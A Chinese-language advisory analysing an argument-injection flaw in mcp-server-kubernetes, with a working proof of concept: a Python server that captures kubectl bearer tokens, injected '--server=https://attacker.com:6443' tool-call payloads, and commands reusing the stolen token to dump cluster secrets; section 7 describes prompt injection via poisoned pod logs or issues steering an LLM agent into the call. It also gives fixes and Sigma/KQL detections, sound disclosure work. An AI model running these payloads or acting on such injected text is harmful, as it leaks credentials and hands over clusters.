一、漏洞概述
| 字段 | 值 |
|---|---|
| CVE 编号 | CVE-2026-61459 |
| CVSS 3.1 评分 | 9.8(Critical) |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 漏洞类型 | 参数注入(Argument Injection, CWE-88) |
| 受影响组件 | mcp-server-kubernetes < 3.9.0 |
| 披露日期 | 2026 年 7 月 10 日 |
| 发现者 | George Chen(geo-chen) |
| PoC 来源 | GitHub Issue #328 |
| 修复版本 | 3.9.0(结构化工具);4.0.0(port_forward 补丁) |
| 安全公告 | GHSA-qmcc-whxh-2p3p |
CVSS 9.8 意味着该漏洞在攻击复杂度(AC:L)、攻击向量(AV:N)、所需权限(PR:N)、用户交互(UI:N)、影响范围(S:U)和 CIA 三要素(C:H/I:H/A:H)全部达到最高或次高档。攻击者无需任何认证即可远程触发,且成功利用后直接导致集群管理员凭据外泄,进而完全接管整个 Kubernetes 集群。这是 MCP(Model Context Protocol)工具链生态中目前已知评分最高的漏洞之一。
二、MCP Server Kubernetes 背景
2.1 什么是 MCP Server Kubernetes
mcp-server-kubernetes 是一个基于 Model Context Protocol(MCP)的 Kubernetes 集群管理工具,允许 LLM Agent(如 Claude Desktop、Cursor、VS Code 中的 AI 助手)通过自然语言直接操作 K8s 集群。用户只需说"扩容这个应用"或"查看 Pod 日志",AI 就会自动调用 kubectl 命令完成操作。
该项目的核心工具集包括:
| 工具名 | 功能 | 参数 |
|---|---|---|
kubectl_get |
获取资源 | resourceType, name, namespace |
kubectl_describe |
查看资源详情 | resourceType, name, namespace |
kubectl_delete |
删除资源 | resourceType, name, namespace, force |
kubectl_generic |
通用 kubectl 执行 | args(字符串数组) |
kubectl_apply |
应用 YAML 清单 | manifest, namespace |
port_forward |
端口转发 | resourceType, resourceName, port |
截至 2026 年 7 月,该项目在 GitHub 上拥有超过 1,500 个 Star,是 MCP 生态中与 Kubernetes 集成的首选方案。
2.2 MCP 协议基础
Model Context Protocol(MCP)是 Anthropic 提出的 AI Agent 与外部工具通信的标准协议。其核心设计如下:
┌──────────────┐ MCP Protocol ┌──────────────────┐ kubectl ┌──────────────┐
│ │ ┌───────────────┐ │ │ ┌──────────┐ │ │
│ LLM Agent │──│ tools/call │──│ MCP Server │──│ kubectl │──│ K8s API │
│ (Claude等) │ │ JSON-RPC 2.0 │ │ Kubernetes │ │ 子进程 │ │ Server │
│ │ └───────────────┘ │ │ └──────────┘ │ │
└──────────────┘ └──────────────────┘ └──────────────┘
│
参数注入漏洞点
MCP 通信流程:
- LLM 生成工具调用参数:Agent 根据用户请求生成
tools/call请求,包含工具名和参数(JSON 格式) - MCP Server 接收并执行:Server 解析参数,构建 kubectl 命令行参数数组(argv),通过
execFileSync或spawn执行 - kubectl 与 K8s API 通信:kubectl 使用当前 kubeconfig 中的凭证(Bearer Token)与 API Server 交互
- 结果返回:执行结果通过 MCP 协议返回给 LLM Agent
MCP 支持两种传输模式:
- stdio:通过标准输入/输出通信,常用于 Claude Desktop 等本地客户端
- SSE(Server-Sent Events):基于 HTTP 的长连接传输,适用于远程部署
2.3 架构层面的信任边界问题
┌─── 信任边界 #1 ───┐
│ │
用户 ──→ LLM Agent ──┤─── 信任边界 #2 ───┤──→ K8s API Server
│ │
└───────────────────┘
MCP Server
关键问题:MCP Server 将 LLM 生成的参数直接传入 kubectl 的 argv,中间缺乏严格的参数验证。当 LLM 受到提示注入攻击时,攻击者可以控制 MCP 工具的输入参数,进而操纵底层系统命令的行为。
三、漏洞根因深度分析
3.1 结构化工具 vs 通用工具的安全差异
mcp-server-kubernetes 的工具分为两类,安全检查覆盖不均:
结构化工具(kubectl_get、kubectl_describe、kubectl_delete):
- 接受独立参数(resourceType、name、namespace)
- 直接拼接成 kubectl argv
- 无任何安全检查(漏洞根因)
通用工具(kubectl_generic):
- 接受完整的 args 字符串数组
- 挂载了
assertNoDangerousFlags守卫函数 - 对危险 kubectl 标志进行拦截
核心缺陷:assertNoDangerousFlags 仅在 kubectl_generic 中被调用,结构化工具在分发路径中完全绕过了安全检查。
3.2 分发路径分析
dist/index.js(约第 144-154 行)的工具分发逻辑:
// dist/index.js - 工具分发(简化)
async function handleToolCall(name, args) {
switch (name) {
case 'kubectl_get':
return await kubectlGet(args.resourceType, args.name, args.namespace);
case 'kubectl_describe':
return await kubectlDescribe(args.resourceType, args.name, args.namespace);
case 'kubectl_delete':
return await kubectlDelete(args.resourceType, args.name, args.namespace, args.force);
case 'kubectl_generic':
return await kubectlGeneric(args.args); // 唯一经过安全检查的路径
// ...
}
}
可以看到,分发层对所有结构化工具直接传递参数,没有统一的输入验证。
3.3 参数注入机制
以 kubectl_get 为例,漏洞代码位于 dist/tools/kubectl-get.js(约第 65-68 行):
// 漏洞代码 - dist/tools/kubectl-get.js(简化)
function buildArgs(resourceType, name, namespace) {
const args = ['get', resourceType];
// ...
args.push(name); // ❌ name 直接拼接,无前导短横线检查
args.push('-n', namespace); // ❌ namespace 同样未检查
return args;
}
function kubectlGet(resourceType, name, namespace) {
const args = buildArgs(resourceType, name, namespace);
// ❌ 未调用 assertNoDangerousFlags(args)
const result = execFileSync('kubectl', args);
return result.toString();
}
同样的问题也存在于 kubectl-describe.js(约第 42 行)和 kubectl-delete.js(约第 87-89 行)。
3.4 assertNoDangerousFlags 守卫函数
// dist/security/kubectl-flags.js(简化)
function assertNoDangerousFlags(args) {
const dangerousFlags = [
'--server',
'--token',
'--kubeconfig',
'--context',
'--as',
'--certificate-authority',
'--client-certificate',
'--client-key',
'--password',
'--username'
];
for (const arg of args) {
if (typeof arg === 'string' && arg.startsWith('-')) {
if (dangerousFlags.some(flag => arg.startsWith(flag))) {
throw new Error(`Dangerous flag detected: ${arg}`);
}
}
}
}
// 仅被 kubectl_generic 调用
// dist/tools/kubectl-generic.js(约第 56 行)
function kubectlGeneric(args) {
assertNoDangerousFlags(args); // ✅ 通用工具有安全检查
const result = execFileSync('kubectl', args);
return result.toString();
}
3.5 port_forward 的独立问题
port_forward 工具使用 spawn() 而非共享的 execFileSyncSafe 包装层,因此从未执行 assertSafeArgv。其 argv 包含用户提供的 resourceType,以 ${resourceType}/${resourceName} 的形式拼接:
// dist/tools/port-forward.js(简化,修复前)
function startPortForward(resourceType, resourceName, port) {
const args = [
'port-forward',
`${resourceType}/${resourceName}`, // ❌ resourceType 可被注入
`localPort:${port}`
];
// 使用 spawn() 而非 execFileSyncSafe,完全绕过安全检查
const child = spawn('kubectl', args);
// ...
}
当 resourceType = "--server=https://attacker" 时,拼接结果为 "--server=https://attacker/name",kubectl 的 pflag 解析器会将其识别为 --server 标志并连接攻击者服务器。
3.6 漏洞根因总结
┌─────────────────────────────────────────────────────────┐
│ 漏洞根因层级图 │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. 设计缺陷:安全守卫仅挂载在通用工具上 │
│ └─ assertNoDangerousFlags 仅在 kubectl_generic 调用 │
│ │
│ 2. 实现缺陷:结构化工具直接拼接参数 │
│ ├─ kubectl_get: args.push(name) │
│ ├─ kubectl_describe: [resourceType, name] │
│ ├─ kubectl_delete: [resourceType, name] │
│ └─ port_forward: ${resourceType}/${resourceName} │
│ │
│ 3. 执行缺陷:缺少双短横线(--)分隔符 │
│ └─ 未在用户输入前插入 -- 分隔符 │
│ │
│ 4. 传输缺陷:exec 路径不统一 │
│ └─ 结构化工具用 execFileSyncSafe │
│ └─ port_forward 用 spawn,完全绕过安全层 │
│ │
└─────────────────────────────────────────────────────────┘
四、完整攻击链
4.1 攻击路径
① 攻击者构造恶意请求
│
▼
② LLM Agent 接收含注入参数的工具调用
name = "--server=https://attacker.com:6443"
│
▼
③ MCP Server 分发到 kubectl_get
(未经过 assertNoDangerousFlags)
│
▼
④ 构建 argv:
kubectl get pod --server=https://attacker.com:6443 -n default
│
▼
⑤ kubectl 连接攻击者控制的假 API Server
(--server 覆盖 kubeconfig 中的 server 地址)
│
▼
⑥ kubectl 自动携带 Authorization: Bearer <operator-token>
│
▼
⑦ 攻击者 HTTPS 服务器捕获 Authorization 头
│
▼
⑧ 使用窃取的 Bearer Token 访问真实 K8s API Server
│
▼
⑨ 完全接管 Kubernetes 集群
4.2 关键环节详解
环节 1:kubectl 参数优先级
kubectl 命令行参数的优先级为:命令行参数 > 环境变量 > kubeconfig 文件。因此,当 argv 中出现 --server 时,kubectl 会忽略 kubeconfig 中配置的 server 地址,直接连接攻击者指定的 URL。
环节 2:Bearer Token 自动携带
kubectl 在与 API Server 建立 TLS 连接后,会自动在 HTTP 请求头中携带当前上下文的认证凭证。对于使用 Bearer Token 认证的集群,凭证格式为:
Authorization: Bearer <token-value>
这个 token 通常来自 kubeconfig 中 users[].user.token 字段,对应 ServiceAccount 或用户证书的绑定 token。
环节 3:攻击者 HTTPS 服务器捕获
攻击者在远程 HTTPS 服务器上监听 443/6443 端口,kubectl 发起的 TLS 握手请求到达后,即使握手失败(证书不匹配),kubectl 已经在 HTTP 层面发送了 Authorization 头。如果攻击者配置了合法的 TLS 证书,则可以完整接收并解析 HTTP 请求。
4.3 为什么 --server 注入有效
┌─────────────────────────────────────────────────────────────┐
│ kubectl 配置加载优先级(从高到低) │
├─────────────────────────────────────────────────────────────┤
│ │
│ 优先级 1:命令行标志(--server、--token、--kubeconfig) │
│ └─ 注入点:--server=https://attacker.com:6443 │
│ │
│ 优先级 2:环境变量(KUBECONFIG、KUBERNETES_MASTER) │
│ │
│ 优先级 3:kubeconfig 文件(~/.kube/config) │
│ └─ 正常配置:server: https://real-cluster:6443 │
│ │
│ 结论:注入的 --server 覆盖了 kubeconfig 中的合法地址 │
│ │
└─────────────────────────────────────────────────────────────┘
此外,kubectl 默认对目标服务器的 TLS 证书不做严格验证(除非 kubeconfig 中显式配置了 certificate-authority),这意味着攻击者只需生成自签名证书即可接受 kubectl 的连接。
五、PoC 复现
5.1 环境搭建
# 1. 安装受影响版本
npm install mcp-server-kubernetes@3.8.0
# 2. 准备 kubeconfig(含真实凭证)
cat > ~/.kube/config << 'EOF'
apiVersion: v1
kind: Config
current-context: default
clusters:
- cluster:
server: https://real-cluster.internal:6443
insecure-skip-tls-verify: true
name: default
contexts:
- context:
cluster: default
user: default
name: default
users:
- name: default
user:
token: SECRET-OPERATOR-BEARER-TOKEN-abc123
EOF
5.2 攻击者 HTTPS 服务器(捕获凭证)
# attacker_server.py - 捕获 kubectl Bearer Token
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import sys
class TokenCaptureHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 捕获 Authorization 头
auth = self.headers.get('Authorization', 'NONE')
print(f'\n[+] Captured Authorization Header:')
print(f' {auth}')
print(f'[+] Source Path: {self.path}')
print(f'[+] TOKEN EXFIL: CONFIRMED')
# 返回空响应
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(b'{"kind": "Status", "code": 200}')
def log_message(self, format, *args):
# 静默标准日志
pass
if __name__ == '__main__':
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6443
# 生成自签名证书(如已有则跳过)
# openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('cert.pem', 'key.pem')
server = HTTPServer(('0.0.0.0', PORT), TokenCaptureHandler)
server.socket = ctx.wrap_socket(server.socket, server_side=True)
print(f'[*] Attacker HTTPS server listening on 0.0.0.0:{PORT}')
print(f'[*] Waiting for kubectl to connect with injected --server...')
server.serve_forever()
# 生成自签名 TLS 证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 365 -nodes -subj "/CN=attacker"
# 启动攻击者服务器
python3 attacker_server.py 6443
5.3 MCP 工具调用(攻击请求)
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "kubectl_get",
"arguments": {
"resourceType": "pods",
"name": "--server=https://attacker.com:6443",
"namespace": "default"
}
}
}
实际执行效果:
# MCP Server 构建的 kubectl 命令等价于:
kubectl get pods --server=https://attacker.com:6443 -n default
5.4 验证结果
攻击者服务器输出:
[*] Attacker HTTPS server listening on 0.0.0.0:6443
[*] Waiting for kubectl to connect with injected --server...
[+] Captured Authorization Header:
Bearer SECRET-OPERATOR-BEARER-TOKEN-abc123
[+] Source Path: /api/v1/namespaces/default/pods
[+] TOKEN EXFIL: CONFIRMED (operator bearer token sent to attacker --server)
利用窃取的 Token 直接访问真实 K8s API Server:
# 使用窃取的 token 访问真实集群
kubectl --server=https://real-cluster.internal:6443 \
--token=SECRET-OPERATOR-BEARER-TOKEN-abc123 \
--insecure-skip-tls-verify \
get secrets --all-namespaces
# 或通过 API 直接调用
curl -k -H "Authorization: Bearer SECRET-OPERATOR-BEARER-TOKEN-abc123" \
https://real-cluster.internal:6443/api/v1/secrets?limit=500
六、危害分析
6.1 直接危害
| 危害 | 描述 | 严重程度 |
|---|---|---|
| 集群管理员凭证泄露 | Bearer Token 对应 cluster-admin 权限 | Critical |
| 完全接管 K8s 集群 | 攻击者以 operator 身份执行任意操作 | Critical |
| 读取所有 Secrets | 包含数据库密码、API Key、TLS 证书等 | Critical |
| 读取所有 ConfigMaps | 应用配置、环境变量、连接字符串 | High |
| 部署恶意 Pod | 运行加密货币挖矿、C2 代理、反向 shell | Critical |
| 删除所有资源 | 导致业务完全中断 | Critical |
| 窃取所有命名空间数据 | 多租户场景下跨租户数据泄露 | Critical |
6.2 间接危害
┌───────────────────────────────────────────────────────────┐
│ 攻击危害扩散图 │
├───────────────────────────────────────────────────────────┤
│ │
│ K8s 集群接管 │
│ ├─── 横向移动 │
│ │ ├─ Pod ServiceAccount Token 提取 │
│ │ ├─ 云平台 IAM 角色凭证(Workload Identity) │
│ │ └─ 节点 SSH 密钥 │
│ │ │
│ ├─── 持久化后门 │
│ │ ├─ 部署特权 DaemonSet │
│ │ ├─ 修改 kube-system ConfigMaps │
│ │ └─ 注入 webhook/准入控制器 │
│ │ │
│ ├─── 数据窃取 │
│ │ ├─ Secrets 中的数据库凭证 │
│ │ ├─ PV/PVC 中持久化数据 │
│ │ └─ etcd 备份(如可访问) │
│ │ │
│ └─ 加密货币挖矿 / 勒索 │
│ ├─ 利用集群算力挖矿 │
│ └─ 数据加密 + 勒索赎金 │
│ │
└───────────────────────────────────────────────────────────┘
6.3 影响范围
| 维度 | 影响范围 |
|---|---|
| 认证要求 | 无(PR:N)——攻击者不需要拥有集群的任何凭证 |
| 用户交互 | 无(UI:N)——受害者无需执行任何额外操作 |
| 攻击向量 | 远程(AV:N)——可通过网络远程触发 |
| 影响维度 | 机密性/完整性/可用性全部受影响(C:H/I:H/A:H) |
| 预置条件 | 1. 目标部署了受影响版本的 mcp-server-kubernetes 2. 攻击者能影响 LLM Agent 的输入(通过提示注入) |
七、攻击场景扩展
7.1 通过提示注入触发
攻击者无需直接调用 MCP 工具接口,可以通过以下方式诱导 LLM Agent 构造恶意参数:
场景 1:被投毒的 Pod 日志
# 攻击者在目标集群中部署恶意 Pod,输出包含注入指令的日志
# LLM Agent 被要求"检查该 Pod 的日志",读取到注入指令后构造恶意工具调用
场景 2:被投毒的搜索结果 / Issue Ticket
# 攻击者在公开的 GitHub Issue 或文档中嵌入注入指令
# LLM Agent 被要求"查看这个 Issue",读取到恶意内容后构造恶意工具调用
场景 3:Cursor DuneSlide 类似攻击链
# 类似 CVE-2025-26614(Cursor DuneSlide)的零点击攻击链:
# 1. 攻击者通过 GitHub Copilot Chat 或其他渠道向 LLM 注入指令
# 2. LLM 自动调用 kubectl_get,传入恶意 name 参数
# 3. 用户完全不知情,凭证已在后台泄露
7.2 其他可注入参数与攻击向量
除了 --server 之外,结构化工具还可被注入多种危险 kubectl 标志:
| 注入标志 | 注入参数示例 | 攻击效果 |
|---|---|---|
--server |
--server=https://attacker.com:6443 |
重定向到攻击者 API Server,窃取 Bearer Token |
--token |
--token=attacker-controlled-token |
使用攻击者指定的 Token 发送请求 |
--kubeconfig |
--kubeconfig=/tmp/malicious-kubeconfig |
加载攻击者准备的 kubeconfig,可能包含恶意证书/服务器 |
--as |
--as=system:masters |
模拟 cluster-admin 用户身份 |
--certificate-authority |
--certificate-authority=/tmp/attacker-ca.pem |
使用攻击者的 CA 证书,建立中间人位置 |
--client-certificate |
--client-certificate=/tmp/attacker-cert.pem |
替换客户端证书为攻击者控制 |
resourceType 参数注入:
{
"name": "kubectl_get",
"arguments": {
"resourceType": "--server=https://attacker.com:6443",
"name": "pods",
"namespace": "default"
}
}
等价执行:
kubectl get --server=https://attacker.com:6443 pods -n default
namespace 参数注入:
{
"name": "kubectl_delete",
"arguments": {
"resourceType": "pod",
"name": "target-pod",
"namespace": "--server=https://attacker.com:6443"
}
}
八、修复方案与防御
8.1 官方修复
3.9.0 版本修复(commit d7890f5):
引入 execFileSyncSafe 包装层,统一为所有结构化工具增加 assertSafeArgv 检查:
// 修复后 - 统一安全包装层
const { execFileSync } = require('child_process');
const { assertSafeArgv } = require('./security/kubectl-flags');
function execFileSyncSafe(cmd, args) {
assertSafeArgv(args); // ✅ 所有工具执行前统一检查
return execFileSync(cmd, args);
}
// 修复后的 kubectl_get
function kubectlGet(resourceType, name, namespace) {
const args = ['get', resourceType, name, '-n', namespace];
return execFileSyncSafe('kubectl', args); // ✅ 经过 assertSafeArgv
}
4.0.0 版本修复(PR #329, commit 9a20ffd):
为 port_forward 的 spawn() 路径补上相同的过滤:
// 修复后的 port_forward
function startPortForward(resourceType, resourceName, port) {
const args = [
'port-forward',
`${resourceType}/${resourceName}`,
`localPort:${port}`
];
assertSafeArgv(args); // ✅ spawn 前也检查
const child = spawn('kubectl', args);
// ...
}
8.2 出向流量限制
在无法立即升级的场景下,通过 iptables 或网络策略限制 kubectl 只能访问内部 API Server:
# iptables 规则:仅允许 kubectl 进程访问内部 K8s API
# 假设 MCP Server 以 mcp 用户身份运行
# 1. 允许访问内网 API Server(RFC1918 + 内部域名)
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 \
-d 10.0.0.0/8 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 6443 \
-d 10.0.0.0/8 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 \
-d 172.16.0.0/12 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 \
-d 192.168.0.0/16 -j ACCEPT
# 2. 阻止所有其他 HTTPS 出向流量
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 -j DROP
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 6443 -j DROP
8.3 参数白名单与 -- 分隔符
对所有进入 kubectl argv 的输入实施前导短横线检测,并使用 -- 分隔符强制终止选项解析:
// 最佳实践 1:前导短横线拒绝
function sanitizeArgvValue(value, paramName) {
if (typeof value === 'string' && value.startsWith('-')) {
throw new McpError(
ErrorCode.InvalidParams,
`Parameter "${paramName}" must not start with a dash (-)`
);
}
// 可选:K8s 资源名称正则校验
const validName = /^[a-z0-9]([a-z0-9.-]*[a-z0-9])?$/;
if (!validName.test(value)) {
throw new McpError(
ErrorCode.InvalidParams,
`Parameter "${paramName}" contains invalid characters`
);
}
return value;
}
// 最佳实践 2:使用 -- 分隔符
function kubectlGet(resourceType, name, namespace) {
sanitizeArgvValue(resourceType, 'resourceType');
sanitizeArgvValue(name, 'name');
const args = ['get', resourceType, '--', name, '-n', namespace];
// ↑ -- 分隔符确保 name 不会被解释为标志
return execFileSyncSafe('kubectl', args);
}
8.4 最小权限 Kubeconfig
MCP Server 不应使用具有 cluster-admin 权限的 kubeconfig。最佳实践是为 MCP Server 创建受限 ServiceAccount:
# mcp-operator-rbac.yaml - 最小权限 RBAC
apiVersion: v1
kind: ServiceAccount
metadata:
name: mcp-operator
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: mcp-operator-role
rules:
- apiGroups: [""]
resources: ["pods", "pods/log", "services", "endpoints"]
verbs: ["get", "list", "describe"]
- apiGroups: ["apps"]
resources: ["deployments", "replicasets", "statefulsets"]
verbs: ["get", "list", "describe"]
# 明确禁止访问 secrets
- apiGroups: [""]
resources: ["secrets"]
verbs: [] # 空 verbs 列表
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: mcp-operator-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: mcp-operator-role
subjects:
- kind: ServiceAccount
name: mcp-operator
namespace: kube-system
8.5 监控检测
Sigma 规则:检测可疑的 kubectl --server 参数
title: CVE-2026-61459 - Suspicious kubectl --server Parameter
id: 8a4d9c21-5f3a-4b1a-9e2c-3d5f6a7b8c9d
status: experimental
description: >
Detects kubectl processes executed with --server flag pointing to
external IPs or suspicious domains, indicating CVE-2026-61459
argument injection exploitation.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-61459
- https://github.com/Flux159/mcp-server-kubernetes/issues/328
author: Security Research
date: 2026/07/10
tags:
- attack.credential_access
- attack.t1528
logsource:
product: linux
category: process_creation
detection:
selection:
Image|endswith: '/kubectl'
CommandLine|contains: '--server'
filter_internal:
CommandLine|contains:
- '10.0.0.'
- '192.168.'
- '172.16.'
- '127.0.0.1'
- '.cluster.local'
- '.internal'
condition: selection and not filter_internal
falsepositives:
- Legitimate use of kubectl to manage external clusters (rare in automated contexts)
level: critical
Sigma 规则:MCP Server 参数注入模式
title: MCP Server Kubectl Argument Injection Pattern
id: 1b2e3f4a-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: >
Detects argument injection patterns in MCP Server spawned kubectl
processes, specifically targeting resource injection with leading dashes.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-61459
author: Security Research
date: 2026/07/10
tags:
- attack.initial_access
- attack.t1190
logsource:
product: linux
category: process_creation
detection:
selection_tool:
ParentImage|contains: 'mcp-server'
Image|endswith: '/kubectl'
selection_injection:
CommandLine|re: '.*\s--server\s*=?(https?://[^\s]+).*'
condition: all of selection_*
falsepositives: Unlikely
level: critical
KQL 查询(Microsoft Sentinel / Defender):
let ExternalIPs = DeviceNetworkEvents
| where RemoteIP !startswith "10."
| where RemoteIP !startswith "192.168."
| where RemoteIP !startswith "172.16."
| where RemoteIP != "127.0.0.1"
| project DeviceId, RemoteIP, RemotePort, InitiatingProcessCommandLine;
DeviceProcessEvents
| where FileName == "kubectl"
| where CommandLine has "--server"
| where not (CommandLine has ".cluster.local" or CommandLine has ".internal")
| join kind=inner ExternalIPs on DeviceId
| project Timestamp, DeviceName, AccountName, CommandLine, RemoteIP, RemotePort
| extend AlertDetail =
"Potential CVE-2026-61459: Kubectl redirected to external IP"
九、MCP 工具链安全启示
9.1 MCP 协议的系统性攻击面
CVE-2026-61459 并非孤例,而是 MCP 工具链生态中参数注入类漏洞的典型代表。当 LLM 生成的参数被直接传递给系统命令时,参数注入成为系统性风险:
┌──────────────────────────────────────────────────────────────┐
│ MCP 工具链攻击面全景 │
├──────────────────────────────────────────────────────────────┤
│ │
│ 输入层 │
│ └─ 提示注入(Prompt Injection) │
│ ├─ 恶意 Pod 日志 / Issue 内容 │
│ ├─ 被投毒的搜索结果 / 文档 │
│ └─ Cursor DuneSlide 零点击攻击 │
│ │
│ 协议层 │
│ └─ 参数注入(Argument Injection) │
│ ├─ LLM 输出 → MCP 参数 → 系统命令 argv │
│ ├─ 缺乏统一的输入验证和消毒 │
│ └─ CWE-88: Improper Neutralization of Argument Delimiters │
│ │
│ 执行层 │
│ └─ 命令注入 / 凭据外泄 │
│ ├─ kubectl --server 重定向 → Token 窃取 │
│ ├─ 任意命令执行(如 CVE-2025-53355) │
│ └─ 沙箱逃逸 │
│ │
└──────────────────────────────────────────────────────────────┘
9.2 安全设计原则
| 原则 | 说明 | CVE-2026-61459 的违反 |
|---|---|---|
| 统一安全检查 | 所有工具路径必须经过相同的安全验证 | assertNoDangerousFlags 仅在 kubectl_generic 中挂载 |
| 参数与标志分离 | 使用 -- 分隔符终止选项解析 |
用户输入直接拼接到 argv 中 |
| 输入白名单 | 对所有外部输入实施正则/格式校验 | 未检查 name/resourceType 是否以 - 开头 |
| 最小权限 | MCP Server 使用受限 kubeconfig | 默认使用 operator 的完整 kubeconfig |
| 深度防御 | 网络层/应用层/参数层多层防御 | 仅有应用层(且不完整)的参数检查 |
9.3 MCP 相关漏洞对比
| CVE | 组件 | 漏洞类型 | CVSS | 核心问题 |
|---|---|---|---|---|
| CVE-2026-61459 | mcp-server-kubernetes | 参数注入 → 凭据泄露 | 9.8 | 结构化工具绕过 assertNoDangerousFlags |
| CVE-2026-47250 | mcp-server-kubernetes | 参数注入 → Token 泄露 | 6.1 | kubectl_generic 的 allowlist 绕过 |
| CVE-2025-53355 | mcp-server-kubernetes | 命令注入 → RCE | - | 恶意字符注入导致系统命令执行 |
| CVE-2026-66012 | SiYuan Note MCP | 缺失授权 → 完全接管 | 10.0 | MCP 端点未校验管理员角色 |
| CVE-2026-42208 | LiteLLM MCP | SQL 注入 → 凭据泄露 | - | f-string 拼接导致 SQL 注入 |
9.4 MCP 安全审计清单
在部署或开发 MCP Server 时,应逐项检查以下安全要点:
┌────────────────────────────────────────────────────────────────┐
│ MCP Server 安全审计清单 │
├────────────────────────────────────────────────────────────────┤
│ │
│ □ 输入验证 │
│ □ 所有外部输入(LLM 生成或用户传入)是否经过白名单校验? │
│ □ 是否拒绝所有以短横线(-)开头的参数值? │
│ □ 是否在系统命令的 argv 中使用 -- 分隔符? │
│ │
│ □ 安全检查统一性 │
│ □ 所有 exec 路径(execFileSync / spawn / exec)是否经过 │
│ 统一的安全包装层? │
│ □ 是否不存在"安全检查仅挂在部分工具"的情况? │
│ │
│ □ 权限最小化 │
│ □ MCP Server 是否使用受限 ServiceAccount 而非管理员凭证? │
│ □ kubeconfig 中的 token 是否限制在最小必要权限? │
│ □ 是否启用了只读模式(如不需要写入操作)? │
│ │
│ □ 网络防御 │
│ □ 是否配置了出向流量限制? │
│ □ kubectl 是否只能访问已知内部 API Server 地址? │
│ □ 是否有监控告警覆盖异常出向连接? │
│ │
│ □ 凭证管理 │
│ □ Bearer Token 是否设置了合理的过期时间? │
│ □ 是否定期轮换 MCP Server 使用的凭证? │
│ □ kubeconfig 中的 token 是否不以明文存储在可读路径? │
│ │
│ □ 提示注入防护 │
│ □ LLM Agent 是否限制读取外部不受信来源的内容? │
│ □ 是否对 MCP 工具调用实施操作审计日志? │
│ □ 是否部署了检测 LLM 行为异常的监控? │
│ │
└────────────────────────────────────────────────────────────────┘
十、总结
CVE-2026-61459 是 MCP 工具链安全的一个重要里程碑事件。它揭示了一个核心问题:当 AI Agent 被授予操作基础设施的权限时,从 LLM 输出到系统命令执行的整条链路中,任何一环的安全缺失都可能被攻击者利用,造成灾难性后果。
该漏洞的根因看似简单——结构化工具绕过了已有的安全守卫函数——但背后折射出 MCP 工具链在安全设计上的系统性短板:
- 安全检查不统一:守卫函数仅挂在通用工具上,结构化工具完全裸奔
- 参数处理不严谨:用户输入直接拼接为 argv,缺少分隔符保护
- exec 路径不一致:
execFileSyncSafe和spawn各走各的路,安全覆盖有盲区
修复方案(3.9.0+)通过引入统一的 execFileSyncSafe 包装层和 assertSafeArgv 检查基本解决了该问题,但更根本的防御需要从架构层面落实最小权限、网络隔离和提示注入防护。对于所有使用 MCP 协议的 AI 工具链开发者而言,这一事件提供了一个沉甸甸的教训:LLM 是不可完全信任的参数生成器,一切从 LLM 输出到系统命令执行的链路都必须被当作不可信输入来处理。
参考资料
- NVD - CVE-2026-61459
- GitHub Issue #328 - kubectl argument injection in structured tools
- GitHub PR #329 - Guard port_forward argv against flag injection
- GHSA-qmcc-whxh-2p3p - GitHub Security Advisory
- Security Arsenal - CVE-2026-61459 Defense and Detection
- VulnCheck Advisory
- GitLab Advisory - CVE-2026-47250
浙公网安备 33010602011771号